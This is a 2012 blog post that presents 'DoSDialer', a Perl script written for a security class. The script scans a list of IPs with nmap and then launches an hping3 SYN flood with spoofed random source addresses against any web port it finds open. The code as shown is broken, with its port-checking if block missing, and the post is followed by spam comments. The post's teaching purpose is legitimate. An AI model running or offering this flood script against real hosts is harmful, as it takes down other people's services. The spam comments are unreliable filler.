Friday, May 11, 2012


The DoSDialer script presented below was written to demonstrate to a computer security class how scripting languages like Perl could be used to automate certain tasks, as well as provide a way to integrate the functionality of multiple security tools.  The script requires that both nmap and hping3 are installed on the host system and needs to be run using sudo (required by hping3).  DoSDialer takes a list of IP addresses and runs an nmap scan of each IP address to determine if port 80 or port 443 is open at that particular IP address.  If the IP address has one of the two ports open, it then proceeds to use hping3 to launch a SYN flood against the IP address.  The duration of the SYN flood is controlled by invoking the Linux ulimit command in the hping3 system call.  Please only consider running this script against your own systems.  


# Copyright 2011- Christopher M. Frenz
# This script is free software - it may be used, copied, redistributed, and/or modified
# under the terms laid forth in the Perl Artistic License

@IPs=("", "");
$DoSTime=10; #how many seconds you want to DoS

foreach $IP(@IPs){
  #back tick system calls return STDOUT to perl
  $nmap=`nmap -sS $IP`;
    print "$nmap\n\n";
    #system does not return STDOUT
    system("ulimit -t $DoSTime; hping3 --flood --rand-source -S -p $port $IP");
    print "$IP has been DoSed on port $port\n\n";
  else{print "$IP does not have a Web server to DoS\n\n";}


Josh said...

web development training in chennai
ionic framework training in chennai
node js training in chennai
angular js training in chennai

aditya said...

Very wonderful informative article. I appreciated looking at your article. Very wonderful reveal. I would like to twit this on my followers. Many thanks!

polar covalent bond definition
ground state electron configuration
horizontal asymptote
associative learning
beneficence definition
shaping psychology definition
costochondral separation
why has the kingdom protista been abandoned
analogous structures

bmbstitch said...

Jean Muggli :- Jean Muggli came to popularity as the former wife of Michael Strahan, a retired professional American football player

Courtney Thorne-Smith :- Courtney Thorne-Smith is an American actress known for her multiple roles in some of the popular television series of all time.

Brooke Daniells :- Brooke Daniells is a popular and professional photographer from the United States of America

Simeon Panda :- Simeon Panda is a true role model for anyone who wishes to achieve success in the field of bodybuilding.

bmbstitch said...

Faye Chrisley :- Faye Chrisley is an American reality TV star. She is well-known for playing Nanny in the American TV series Chrisley Knows Best.

Christi Pirro :- Christi Pirro is a lawyer and a law clerk. She is well-known as Jeanine Pirro’s daughter. Jeannie, her mother, is a TV broadcaster and writer.

Pokimane :- Pokimane is a famous Canadian twitch streamer and YouTuber. However, she is famous for her streaming on games. So, she mostly played two games